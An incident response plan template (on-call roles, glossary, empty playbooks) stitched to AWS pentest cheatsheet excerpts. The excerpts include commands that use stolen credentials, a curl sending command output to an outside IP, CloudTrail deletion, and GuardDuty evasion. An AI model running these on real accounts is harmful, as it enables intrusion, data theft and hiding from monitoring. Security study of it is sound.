deardaniel/secdata-raw huggingface dataset:
Incident Response Plan Template: role 4 expert

## Role: Subject Matter Expert (SME)

### Description

A Subject Matter Expert (SME) is a domain expert or designated owner of a team, component, or service (an "area").  You are there to support the incident commander in identifying the cause of the incident, suggesting and evaluation investigation, remediation, and communication actions, and following through on them as tasked.

### Duties

1. Diagnose common problems within your area of expertise.
1. Rapidly fix issues found during an incident.
1. Concise communication:
    * Condition: What is the current state of your area? Is it healthy or not?
    * Actions: What actions need to be taken if your area is not in a healthy state?
    * Needs: What support do you need need to perform an action?
1. Participate in the investigation, remediation, and/or communication phases of the response.
1. Announce all suggestions to the incident commander, it is their decision on how to proceed, do not follow any actions unless told to do so.

If you are on-call for any team, you may be paged for an incident and will be expected to respond as a subject matter expert (SME) for your team, component, or service.  Anyone who is considered a "domain expert" can act as a SME for an incident. Typically the team's primary on-call will act as the SME for that team.

#### Prepare for On-Call Period

1. Be prepared, by having already familiarized yourself with our incident response policies and procedures.
1. Make sure you have set up your alerting methods in accordance with our on-call procedure.
1. Check you can join the incident call. You may need to install a browser plugin.
1. Be aware of your upcoming on-call time and arrange swaps around travel, vacations, appointments, etc.
1. If you are an Incident Commander, make sure you are not on-call for your team at the same time as being on-call as Incident Commander.

#### During On-Call Period

1. Have your laptop and Internet with you at all times during your on-call period (office, home, a MiFi, a phone with a tethering plan, etc).
1. If you have important appointments, you need to get someone else on your team to cover that time slot in advance.
1. When you receive an alert for an incident, you are expected to join the incident call and chat as quickly as possible (within minutes).
1. You will be asked questions or given actions by the Incident Commander. Answer questions concisely, and follow all actions given (even if you disagree with them).
1. If you're not sure about something, bring in other SMEs from your team that can help.  **Never hesitate to escalate**, if necessary.
1. Do not blame.  This incident response process is completely blameless: blaming is counter productive and distracts from the problem at hand.  After-action review will identify places we can all improve.

### Training

* Read and understand the incident response plan, including the roles and playbooks.
Incident Response Plan Template: role 5 liaison

## Role: Liaison

### Description

Liaisons interact with other teams or stakeholders, outside the incident response team.  These often include:

* External Liaison: responsible for interacting with customers, either directly, or via public communication.
* Internal Liaison: responsible for interacting with internal stakeholders. Whether it's notifying an internal team of the incident, or mobilizing additional responders within the organization.

### Duties

#### External or Customer Liaison

1. Post any publicly facing messages regarding the incident (Twitter, etc).
1. Notify the IC of any customers or media coverage reporting affects of the incident.
1. Provide customers with the external message from the post-mortem once it is completed.
1. Contact or interact with external stakeholders such as vendors, partners, law enforcement, _etc._
1. **Do not** feel responsible for creating every message: work with the Incident Commander and other stakeholders.
1. As appropriate, keep customers informed during an incident.
1. Act as a voice for our customers to the Incident Commander, as this is useful for IC decision making.
1. Gaining message approval after you have crafted the public message: copy the message into chat and wait for verbal/written confirmation from the IC before proceeding.

##### Tips for Public Messages

* Prepare a default message in advance that can be used for the initial update if the scope of the issue is unknown.
* Be honest. Do not lie or guess.
* Describe our progress in resolving the incident.
  * _"We are aware of an incident..."_
  * _"We are investigating delayed notifications..."_
  * _"A fix has been applied and is currently being deployed..."_
  * _"The issue has been resolved..."_
* Be clear about how the incident is affecting customers. This is the primary piece of information customers will care about.
* Provide workarounds customers can use until the incident is resolved.
* Don't estimate resolution times.
* Provide the appropriate level of detail.

#### Internal Liaison

1. Page SME's or other on-call personnel as instructed by the Incident Commander.
1. Notify or mobilize other teams within the organization (e.g. Finance, Legal, Marketing), as instructed by the Incident Commander.
1. Track and anticipate SMEs on the call.
1. Interact with stakeholders and provide status updates as necessary.
1. Interact with internal stakeholders to answer their questions, to keep the primary call distraction free.
1. Provide regular status updates to the executive team, giving an executive summary of the current status.

### Training

Read and understand the incident response plan, including the roles and playbooks.

#### Prerequisites

* Excellent verbal and written **communication skills**.
* _OPTIONAL:_ Customer support training.
* _OPTIONAL:_ Corporate communication or marketing training.
Incident Response Plan Template: glossary

# Glossary

1. **Incident Commander / IC:** The incident commander is the person responsible for bringing any major incident to resolution. They are the highest ranking individual on any major incident call, regardless of their day-to-day rank. Their decisions made as commander are final.
1. **Deputy:** Typically the backup IC. The deputy's job is to support the IC during the call, providing them with any help they need.
1. **Scribe:** The scribe's job is to keep a log of all activities performed during the call in a written chat log on Slack.
1. **Resolver:** A person on the incident call who is able to help resolve issues within a particular system. Also referred to as an SME (see below).
1. **SME:** "Subject Matter Expert", someone who is an expert in a particular service or subject who can provide information to the IC, and perform resolution actions for a particular system.
1. **Command Staff:** The Command Staff consists of the Incident Commander, Deputy, and Scribe.
1. **CAN Report:** CAN stands for "Conditions" "Actions" "Needs", if an IC asks you for a CAN report, you should provide the current state of your service (condition), what actions need to be taken to return it to a healthy state (actions), and what support you need in order to perform the actions (needs).
1. **Span of Control:** Refers to the number of direct reports you have. For example, if the IC has 10 people as direct reports on a call, they have a large span of control. We aim to make the span of control as minimal as we can while still being productive.
1. **Grenade Thrower:** Someone who joins the call at a late time in the game, and provides information that completely derails the current thinking. They then leave almost immediately.
1. **Executive Swoop:** When an executive comes on the call and drops some sort of bombshell. A version of grenade throwing.
Incident Response Plan Template: index

# Playbooks

The following playbooks capture common [investigation](#investigate), [remediation](#remediate), and [communication](#communicate) steps for particular types of incident.

`TODO: Create additional playbooks for highly likely or highly damaging incident types.`
Incident Response Plan Template: playbook supply chain

## Playbook: Supply Chain Compromise

**Investigate, remediate (contain, eradicate), and communicate in parallel!**

Assign steps to individuals or teams to work concurrently, when possible; this playbook is not purely sequential. Use your best judgment.

### Investigate

`TODO: Expand investigation steps, including key questions and strategies, for supply chain compromise.`

1. TODO

### Remediate

* **Plan remediation events** where these steps are launched together (or in coordinated fashion), with appropriate teams ready to respond to any disruption.
* **Consider the timing and tradeoffs** of remediation actions: your response has consequences.

#### Contain

`TODO: Customize containment steps, tactical and strategic, for supply chain compromise.`

`TODO: Specify tools and procedures for each step, below.`

* TODO

`TODO: Consider automating containment measures using orchestration tools.`

#### Eradicate

`TODO: Customize eradication steps, tactical and strategic, for supply chain compromise.`

`TODO: Specify tools and procedures for each step, below.`

* TODO

#### Reference: Remediation Resources

`TODO: Specify financial, personnel, and logistical resources to accomplish remediation.`

### Communicate

`TODO: Customize communication steps for supply chain compromise`

`TODO: Specify tools and procedures (including who must be involved) for each step, below, or refer to overall plan.`

In addition to the general steps and guidance in the incident response plan:

1. TODO

### Recover

`TODO: Customize recovery steps for supply chain compromise.`

`TODO: Specify tools and procedures for each step, below.`

In addition to the general steps and guidance in the incident response plan:

1. TODO

### Resources

#### Additional Information

1. <a name="supply-chain-playbook-ref-1"></a>["Title"](#TODO-url), Author Last Name (Date)
Incident Response Plan Template: playbook identity and access

## Playbook: Identity and Access Compromise

**Investigate, remediate (contain, eradicate), and communicate in parallel!**

Assign steps to individuals or teams to work concurrently, when possible; this playbook is not purely sequential. Use your best judgment.

### Investigate

`TODO: Expand investigation steps, including key questions and strategies, for identity and access compromise.`

1. TODO

### Remediate

* **Plan remediation events** where these steps are launched together (or in coordinated fashion), with appropriate teams ready to respond to any disruption.
* **Consider the timing and tradeoffs** of remediation actions: your response has consequences.

#### Contain

`TODO: Customize containment steps, tactical and strategic, for identity and access compromise.`

`TODO: Specify tools and procedures for each step, below.`

* TODO

`TODO: Consider automating containment measures using orchestration tools.`

#### Eradicate

`TODO: Customize eradication steps, tactical and strategic, for identity and access compromise.`

`TODO: Specify tools and procedures for each step, below.`

* TODO

#### Reference: Remediation Resources

`TODO: Specify financial, personnel, and logistical resources to accomplish remediation.`

### Communicate

`TODO: Customize communication steps for identity and access compromise`

`TODO: Specify tools and procedures (including who must be involved) for each step, below, or refer to overall plan.`

In addition to the general steps and guidance in the incident response plan:

1. TODO

### Recover

`TODO: Customize recovery steps for identity and access compromise.`

`TODO: Specify tools and procedures for each step, below.`

In addition to the general steps and guidance in the incident response plan:

1. TODO

### Resources

#### Additional Information

1. <a name="identity-and-access-playbook-ref-1"></a>["Title"](#TODO-url), Author Last Name (Date)
Internal Network Pentest and IR Reference: README

# Internal All The Things

Active Directory and Internal Pentest Cheatsheets

An alternative display version is available at [Internal All The Things - Web version](https://swisskyrepo.github.io/InternalAllTheThings/).

<p align="center">
  <img alt="banner" src="https://raw.githubusercontent.com/swisskyrepo/InternalAllTheThings/master/assets/banner.png">
</p>

## 📖 Documentation

* Feel free to update any pages with your knowledge by submitting a Pull Request
* Content in this repository is provided as is, for learning purpose. The author and contributors take no responsibility if you break something.

## 👨‍💻 Contributions

<p align="center">
<a href="https://github.com/swisskyrepo/InternalAllTheThings/graphs/contributors">
  <img alt="contributors-list" src="https://contrib.rocks/image?repo=swisskyrepo/InternalAllTheThings&max=36">
</a>
</p>

Thanks again for your contribution! :heart:

You can also share the project and contribute with a Github Sponsorship.
[![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Internal%20All%20The%20Things,%20a%20list%20of%20useful%20payloads%20and%20bypasses%20for%20Internal%20Security%20Assessments-%20by%20@pentest_swissky&url=https://github.com/swisskyrepo/InternalAllTheThings)
[![Sponsor](https://img.shields.io/static/v1?label=Sponsor&message=%E2%9D%A4&logo=GitHub&link=https://github.com/sponsors/swisskyrepo)](https://github.com/sponsors/swisskyrepo)
Internal Network Pentest and IR Reference: DISCLAIMER

# DISCLAIMER

The authors and contributors of this repository disclaim any and all responsibility for the misuse of the information, tools, or techniques described herein. The content is provided solely for educational and research purposes. Users are strictly advised to utilize this information in accordance with applicable laws and regulations and only on systems for which they have explicit authorization.

By accessing and using this repository, you agree to:

* Refrain from using the provided information for any unethical or illegal activities.
* Ensure that all testing and experimentation are conducted responsibly and with proper authorization.
* Acknowledge that any actions you take based on the contents of this repository are solely your responsibility.

Neither the authors nor contributors shall be held liable for any damages, direct or indirect, resulting from the misuse or unauthorized application of the knowledge contained herein. Always act mindfully, ethically, and within the boundaries of the law.
Internal Network Pentest and IR Reference: aws lambda

# AWS - Service - Lambda & API Gateway

## List Lambda Functions

```ps1
aws lambda list-functions
```

### Invoke a Lambda Function

```ps1
aws lambda invoke --function-name name response.json --region region 
```

## Extract Function's Code

```powershell
aws lambda list-functions --profile uploadcreds
aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
```

## List API Gateway

```ps1
aws apigateway get-rest-apis
aws apigateway get-rest-api --rest-api-id ID
```

## Listing Information About Endpoints

```ps1
aws apigateway get-resources --rest-api-id ID
aws apigateway get-resource --rest-api-id ID --resource-id ID
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method
```

## Listing API Keys

```ps1
aws apigateway get-api-keys --include-values
```

## Getting Information About A Specific Api Key

```ps1
aws apigateway get-api-key --api-key KEY
```

## References

* [Getting shell and data access in AWS by chaining vulnerabilities - Appsecco - Riyaz Walikar - Aug 29, 2019](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)
Internal Network Pentest and IR Reference: aws dynamodb

# AWS - Service - DynamoDB

> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.

## List Tables

```bash
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        

{
    "TableNames": [
        "users"
    ]
}
```

## Enumerate Table Content

```bash
$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'

{
  "password": {
    "S": "Management@#1@#"
  },
  "username": {
    "S": "Mgmt"
  }
}
```

## References

* [Amazon DynamoDB Documentation - AWS](https://docs.aws.amazon.com/dynamodb/)
Internal Network Pentest and IR Reference: aws training

# AWS - Training

* [bishopfox/CloudFoxable](https://cloudfoxable.bishopfox.com/): A Gamified Cloud Hacking Sandbox
* [ine-labs/AWSGoat](https://github.com/ine-labs/AWSGoat) : A Damn Vulnerable AWS Infrastructure
* [m6a-UdS/dvca](https://github.com/m6a-UdS/dvca) - A demonstration project to show how to do privilege escalation on AWS
* [nccgroup/sadcloud](https://github.com/nccgroup/sadcloud) -  A tool for standing up (and tearing down!) purposefully insecure cloud infrastructure
* [0xdabbad00/Flaws](http://flaws.cloud) - Several level of challenges around AWS
* [RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) - "Vulnerable by Design" AWS deployment tool
Internal Network Pentest and IR Reference: aws ssm

# AWS - Service - SSM

## Command execution

:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.

SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):

* Windows Server 2008-2012 R2 AMIs published in November 2016 or later
* Windows Server 2016 and 2019
* Amazon Linux
* Amazon Linux 2
* Ubuntu Server 16.04
* Ubuntu Server 18.04
* Amazon ECS-Optimized

```powershell
$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1  
$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds

e.g:
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
```

## References

* [What is AWS Systems Manager? - AWS](https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html)
Internal Network Pentest and IR Reference: aws ioc detection

# AWS - IOC & Detections

## CloudTrail

### Disable CloudTrail

```powershell
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
```

Disable monitoring of events from global services

```powershell
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event 
```

Disable Cloud Trail on specific regions

```powershell
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
```

## GuardDuty

### OS User Agent

:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.

Pacu bypass this problem by defining a custom User-Agent: [pacu.py#L1473](https://web.archive.org/web/[PII_REDACTED]5614/https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1303)

```python
boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower():  # If the local OS is Kali/Parrot/Pentoo Linux
    # GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
    self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
```
Internal Network Pentest and IR Reference: aws cognito

# AWS - Service - Cognito

AWS Cognito is an AWS-managed service for authentication, authorization, and user management.

1. A user signs in through Cognito User Pools (authentication) or via a federated IdP (Google, Facebook, SAML, etc.).
2. Cognito Identity Pools can then exchange this identity for temporary AWS credentials (from STS — Security Token Service).
3. These credentials (Access Key ID, Secret Access Key, and Session Token) let the app directly call AWS services (e.g., S3, DynamoDB, API Gateway) with limited IAM roles/policies.

## Tools

* [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - A CLI tool for executing attacks on cognito such as *Unwanted account creation*, *Account Oracle* and *Identity Pool escalation*.

    ```ps1
    # Installation
    $ pip install cognito-scanner
    # Usage
    $ cognito-scanner --help
    # Get information about how to use the unwanted account creation script
    $ cognito-scanner account-creation --help
    # For more details go to https://github.com/padok-team/cognito-scanner
    ```

## Identity Pool ID

* **User Pools** : User pools allow sign-in and sign-up functionality
* **Identity Pools** : Identity pools allow authenticated and unauthenticated users to access AWS resources using temporary credentials

Once you have the Cognito Identity Pool Id token, you can proceed further and fetch Temporary AWS Credentials for an unauthenticated role using the identified tokens.

```py
import boto3

region='us-east-1'
identity_pool='us-east-1:5280c436-2198-2b5a-b87c-9f54094x8at9'

client = boto3.client('cognito-identity',region_name=region)
_id = client.get_id(IdentityPoolId=identity_pool)
_id = _id['IdentityId']

credentials = client.get_credentials_for_identity(IdentityId=_id)
access_key = credentials['Credentials']['AccessKeyId']
secret_key = credentials['Credentials']['SecretKey']
session_token = credentials['Credentials']['SessionToken']
identity_id = credentials['IdentityId']
print("Access Key: " + access_key)
print("Secret Key: " + secret_key)
print("Session Token: " + session_token)
print("Identity Id: " + identity_id)
```

## AWS Cognito Commands

### Get User Information

```ps1
aws cognito-idp get-user --access-token $(cat access_token.txt)
```

### Admin Authentication

```ps1
aws cognito-idp admin-initiate-auth --access-token $(cat access_token)
```

### List User Groups

```ps1
aws cognito-idp admin-list-groups-for-user --username user.name@email.com --user-pool-id "Group-Name"
```

### Sign up

```ps1
aws cognito-idp sign-up --client-id <client-id> --username <username> --password <password>
```

### Modify Attributes

```ps1
aws cognito-idp update-user-attributes --access-token $(cat access_token) --user-attributes Name=<attribute>,Value=<value>
```

## References

* [Exploiting weak configurations in Amazon Cognito - Pankaj Mouriya - April 6, 2021](https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963)